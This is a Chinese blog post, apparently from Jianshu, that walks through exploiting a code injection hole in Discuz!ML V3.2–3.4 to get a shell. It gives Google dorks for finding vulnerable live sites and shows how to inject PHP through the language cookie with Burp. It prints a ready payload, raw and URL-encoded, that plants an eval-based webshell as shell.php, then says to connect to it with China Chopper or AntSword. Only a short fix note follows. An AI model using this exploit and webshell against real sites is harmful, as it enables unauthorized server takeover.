Discuz!ML V3.X 代码注入漏洞 GETSHELL

Discuz ML! V3.X存在代码注入漏洞,攻击者通过精心构建的请求报文可以直接执行恶意的PHP代码,进一步可获取整个网站的服务器权限。

漏洞影响版本:

Discuz!ML v.3.4 、Discuz!ML v.3.2 、Discuz!ML v.3.3 product of codersclub.org


1.1如何区分Discuz!ML V3.X站:

一般主页面都存在下面两个标识符。

谷歌dork:

Dork 1:“©2009-2019 codersclub.org”

Dork 2:“MultiLingual version,Rev。”


实现验证过程:

利用burp抓包,将抓到的数据包发送到Repeater,构造请求参数。

将tSWa_2132_language=sc 后面填上Phpinfo就会显示所有phpinfo输出的响应

因为cookie字段中language没有对参数进行过滤直接拼接从而写入缓存文件之中,儿缓存文件随后被加载,从而造成代码执行。


phpinfo验证

我们还可以进一步利用比如写一句话木马进去,但是我们要对木马进行编码要不然引号容易重复。

这是没有进行编码的写入木马方式

'.file_put_contents('shell.php',urldecode('<?php eval($_POST["mo"]);?>')).'

这是编码后: %27.file_put_contents%28%27shell.php%27%2Curldecode%28%27%253c%253fphp%2520eval%28%2524_%2550%254F%2553%2554%255b%2522mo%2522%255d%29%253b%253f%253e%27%29%29.%27


如果页面显示正常代表木马已经成功被写入,现在就可以拿起我们的菜刀或者蚁剑进行连接。

修复建议

建议修改source/function/function_core.php 644行

/*vot*/ $cachefile = './data/template/'.'sc'.'_'.(defined('STYLEID') ? STYLEID.'_' : '_').$templateid.'_'.str_replace('/', '_', $file).'.tpl.php';

删除可控变量

基本上上就结束了,喜欢的关注一下。

©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容